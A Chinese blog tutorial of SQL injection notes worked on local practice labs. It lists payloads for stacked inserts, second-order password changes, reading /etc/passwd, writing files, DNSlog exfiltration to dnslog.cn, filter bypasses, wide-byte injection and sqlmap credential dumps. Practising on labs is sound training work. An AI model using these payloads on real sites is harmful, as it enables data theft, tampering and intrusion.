722 字
4 分钟
SQL 注入:扩展注入与工具注入

【pikachu靶场】

1.想办法找到与数据库 交互的点。

2.查看注入点四周是否存在单引号还是双引号,还是什么特殊符号都没有(一般查询语句的注入是什么特殊符号都没有)

kobe’ union select 1,2,database() #

’% %’

(’ ’)

((” ”))

’ and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or ’

and (updatexml(1,concat(0x7e,(select database()),0x7e),1))


【堆叠注入】

同时执行多条 语句,可以用分号;隔开。可以增加,删除,或修改。

mysqli_multi_query():可以同时执行多条语句。

mysqli_query():一次只能执行一条语句。

http://127.0.0.1/sqli-labs/Less-38/?id=1’

http://127.0.0.1/sqli-labs/Less-38/?id=1”

http://127.0.0.1/sqli-labs/Less-38/?id=1’ order by 1 —+

http://127.0.0.1/sqli-labs/Less-38/?id=1’ order by 3 —+

http://127.0.0.1/sqli-labs/Less-38/?id=-1’ union select 1,2,database() —+

http://127.0.0.1/sqli-labs/Less-38/?id=1’ ; insert into users value(999,‘caixukun’,‘huozhuzi’) —+

http://127.0.0.1/sqli-labs/Less-38/?id=1’ ; insert into users(username,password) value(‘caixukun’,‘huozhuzi’) —+

http://127.0.0.1/sqli-labs/Less-2/?id=1 ; insert into users(username,password) value(‘caixukun’,‘huozhuzi’) — ----


【二次注入】

注册一个带有特殊符号的账号,然后修改密码。可以把别的账号的密码给改掉。

update users set password =‘qwert’ where username=’ admin’ # ’ and password=‘xxx’


【文件读写】

前提条件:mysql.ini配置文件重要包含参数:secure_file_priv=

privelige 特权等级 [修改完参数记得重启。]

1.load_file() 读文件

2.into outfile 或 into dumpfile 写入文件

读

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘f:\www.txt’)

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘c:/windows/win.ini’)

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘/etc/passwd’)

写

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,‘you are in’ into outfile ‘f:/haha.txt’

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'' into outfile ‘f:/1.php’

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,’ ’ into dumpfile ‘f:/www123.txt’ —+


【dnslog】

前提条件:服务器腰得是windows系统,ysql.ini配置文件重要包含参数:secure_file_priv=

http://www.dnslog.cn/

select username,password from users where id =1 union select 1,load_file( concat(’\\’,(select database()),‘.2vsr9e.dnslog.cn\1.txt’) )

127.0.0.1/sqli-labs/Less-1/?id=1’ union select 1,2,load_file( concat(’\\’,(select database()),‘.ixe7x0.dnslog.cn\1.txt’) ) —+


【绕过方法】要么可以较为轻易得sql注入,要么很难。

1.空格绕过: ?id=1 union select 1,database()

​ %09,%0b,(),/**/

2.双写绕过(and or union等)(只删除一次)

​ anandd, oorr,ununionion

3.大小写绕过

​ And,oR,uNiOn

4.逻辑符号替换

​ and —>&&

​ or ---> ||

5.注释符

​ #

​ —+

​ /**/

6.编码绕过

​ hex(十六进制)编码绕过。

dvwa

?id=1'
?id=1' order by 2 #
?id=1 ' union select 1,database() #
dvwa
?id=11' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa' #
guestbook,users
?id=11' union select 1,0x67726f75705f636f6e636174287461626c655f6e616d6529 from information_schema.tables where table_schema=0x64767761 #

sqli-labs 26

http://127.0.0.1/sqli-labs/Less-26/?id=1'oorr '
http://127.0.0.1/sqli-labs/Less-26/?id=1' (oorrder)by (1) oorr '
http://127.0.0.1/sqli-labs/Less-26/?id=1' anandd (extractvalue(1,concat(0x7e,(select (user())),0x7e))) oorr '

​ 【宽字节注入】

条件:数据库使用GBK编码,客户端使用UTF-8编码。

汉字:生僻字 十几万个汉字。

2个字节的去绑定汉字。-》GBK编码。

%45 E

%8f%46 好 EF

http://127.0.0.1/sqli-labs/Less-32/?id=1' --+
%8f%5c \
http://127.0.0.1/sqli-labs/Less-32/?id=1%8f' --+
http://127.0.0.1/sqli-labs/Less-32/?id=1%8f' order by 3 --+
http://127.0.0.1/sqli-labs/Less-32/?id=-1%8f' union select 1,2,database() --+
security
http://127.0.0.1/sqli-labs/Less-32/?id=-1%8f' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
database()
http://127.0.0.1/sqli-labs/Less-32/?id=-1%8f' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+

【工具注入】

D:\1security\sqlmap\安装包\sqlmap\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1"
查看是否存在注入漏洞。
--current-db 查看当前数据库名称
--dbs 查看mysql里面的所有数据库。
--batch 遇到选项,默认选择yes
--cookie 带上网站cookie
--purge 清除sqlmap的缓存记录
D:\1security\sqlmap\安装包\sqlmap\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D security --tables
查询security数据库下面的表信息。
D:\1security\sqlmap\安装包\sqlmap\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D security -Tusers --columns
查看security数据库的users表下面的字段信息 。
D:\1security\sqlmap\安装包\sqlmap\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D security -Tusers -C username,password --dump
查看字段下面的详细信息。
document.cookie 获取网站cookie,按F12在控制台上输入
SQL 注入:扩展注入与工具注入
https://wangyi187.top/posts/sqli-extended-tools/
作者
WangYi
发布于
2023-10-11
许可协议
CC BY-NC-SA 4.0